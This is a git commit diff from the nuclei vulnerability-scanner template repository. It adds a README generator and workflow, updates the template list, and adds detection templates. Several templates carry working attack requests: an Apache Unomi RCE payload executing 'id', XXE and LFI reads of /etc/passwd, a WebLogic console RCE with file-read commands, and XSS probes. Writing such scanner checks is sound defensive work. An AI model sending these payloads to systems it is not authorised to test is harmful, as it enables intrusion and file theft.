Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖

Merge pull request #624 from dwisiswant0/add/CVE-2020-13942
Add CVE-2020-13942
2026-11-07 08:36:19 -10:00 · 2020-11-18 19:13:34 +00:00 · 2020-11-19 00:42:55 +05:30 · 2020-11-18 19:09:59 +00:00 · 2020-11-19 00:39:33 +05:30 · 2020-11-19 00:47:19 +07:00
69 changed files with 59118 additions and 89 deletions
@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | {countTpl("cves")} | files | {countTpl("files")} |
+| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
+| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
+| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
+| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
+| wordlists | {countTpl("wordlists")} |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import os
+import subprocess
+
+def countTpl(path):
+	return len(os.listdir(path))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,40 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -3,5 +3,10 @@ security-misconfiguration/missing-x-frame-options.yaml
 security-misconfiguration/missing-hsts.yaml
 security-misconfiguration/missing-csp.yaml
 security-misconfiguration/basic-cors-flash.yaml
+cves/CVE-2017-7529.yaml
+cves/CVE-2020-13379.yaml
+cves/CVE-2013-2251.yaml
+vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
-workflows/
+wordlists/
+workflows/
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,32 +11,31 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.1.2`
+### Nuclei templates `v7.2.6` overview

-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | 136 | files | 46 |
+| vulnerabilities | 39 | panels | 40 |
+| technologies | 38 | security-misconfiguration | 28 |
+| workflows | 16 | tokens | 8 |
+| dns | 6 | fuzzing | 5 |
+| generic-detections | 3 | default-credentials | 3 |
+| subdomain-takeover | 2 | payloads | 2 |
+| wordlists | 1 |

-### nuclei templates `v7.1.2` tree overview 
+
+### Nuclei templates `v7.2.6` tree overview

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── LICENSE.md
+├── README.md
 ├── cves
 │   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
@@ -43,7 +43,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
 │   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -96,9 +95,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3402.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
@@ -110,6 +111,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9670.yaml
 │   ├── CVE-2019-9978.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
@@ -118,22 +120,27 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-13942.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-14815.yaml
+│   ├── CVE-2020-14864.yaml
+│   ├── CVE-2020-14882.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16846.yaml
+│   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2034.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
@@ -152,12 +159,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8209.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
 │   ├── CVE-2020-9757.yaml
+│   ├── cve-2017-12637.yaml
 │   ├── cve-2019-9733.yaml
 │   └── cve-2020-0618.yaml
 ├── default-credentials
@@ -168,7 +178,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
@@ -179,6 +191,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── drupal-install.yaml
 │   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
 │   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
@@ -190,6 +203,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
 │   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
@@ -216,7 +230,10 @@ An overview of the nuclei template directory including number of templates and H
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
-│   └── directory-traversal.yaml
+│   ├── basic-auth-bruteforce.yaml
+│   ├── directory-traversal.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
@@ -238,12 +255,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── manage-engine-admanager-panel.yaml
 │   ├── mobileiron-login.yaml
-│   ├── mongo-express-web-gui.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
@@ -251,20 +267,23 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
 │   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
 │   ├── traefik-dashboard.yaml
 │   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
+│   ├── apache-tomcat-snoop.yaml
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
@@ -278,11 +297,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-user-picker.yaml
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
 │   ├── missing-csp.yaml
 │   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
 │   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
 │   ├── unauthenticated-airflow.yaml
@@ -296,6 +317,7 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
@@ -303,10 +325,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
@@ -314,6 +339,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
@@ -323,10 +350,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
 │   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
-│   ├── werkzeug-debugger-detect.yaml
-│   └── what-waf-detect.yaml
-├── test.yaml
+│   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
@@ -337,7 +363,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── Symantec-Messaging-Gateway.yaml
 │   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
@@ -351,31 +376,41 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
 │   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
    ├── artica-web-proxy-workflow.yaml
+    ├── basic-auth-workflow.yaml
    ├── bigip-pwner-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
+    ├── jira-exploitation-workflow.yaml
    ├── liferay-rce-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
@@ -390,7 +425,7 @@ An overview of the nuclei template directory including number of templates and H

 </details>

-14 directories, **338 templates**. 
+**15 directories, 375 files**.

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -400,4 +435,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -1,6 +1,6 @@
 id: cve-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
  author: CasperGN
  severity: medium

@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/maint/index.php?packages
        Content-Length: 160
@@ -33,7 +32,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
@@ -10,7 +10,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"

    matchers-condition: and
    matchers:
@@ -19,4 +19,4 @@ requests:
          - 200
      - type: word
        words:
-          - 'javascript:alert(document.cookie)//'
+          - '<a href="javascript:alert(document.domain)//'
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 91
        DNT: 1
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: https://{{Hostname}}/
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 73
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/
@@ -30,7 +29,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -44,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/json
        Content-Length: 259
@@ -43,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1

@@ -13,8 +13,16 @@ requests:
    path:
      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(1)>"
        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -27,7 +26,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,60 @@
+id: cve-2020-13942
+
+info:
+  name: Apache Unomi Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Remote Code Execution in Apache Unomi.
+    Apache Unomi allows conditions to use OGNL and MVEL scripting which
+    offers the possibility to call static Java classes from the JDK
+    that could execute code with the permission level of the running Java process.
+    This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
+
+    References:
+    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
+    - https://twitter.com/chybeta/status/1328912309440311297
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/context.json"
+      - "{{BaseURL}}:8181/context.json"
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "filters": [
+          {
+            "id": "nuclei",
+            "filters": [
+              {
+                "condition": {
+                  "parameterValues": {
+                    "nuclei": "script::Runtime.getRuntime().exec('id')"
+                  },
+                  "type": "profilePropertyCondition"
+                }
+              }
+            ]
+          }
+        ],
+        "sessionId": "nuclei"
+      }
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+          - "context-profile-id"
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "(profile|session)(Id|Properties|Segments)"
+          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
+        condition: and
+        part: body
@@ -0,0 +1,29 @@
+id: cve-2020-14815
+
+info:
+  name: Oracle Fusion Middleware XSS
+  author: shine
+  severity: medium
+
+  # Reference:- https://twitter.com/HackerOn2Wheels/status/1326927875279380480
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=\"><svg/onload=alert(document.domain)>"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=alert(document.domain)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: exec
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
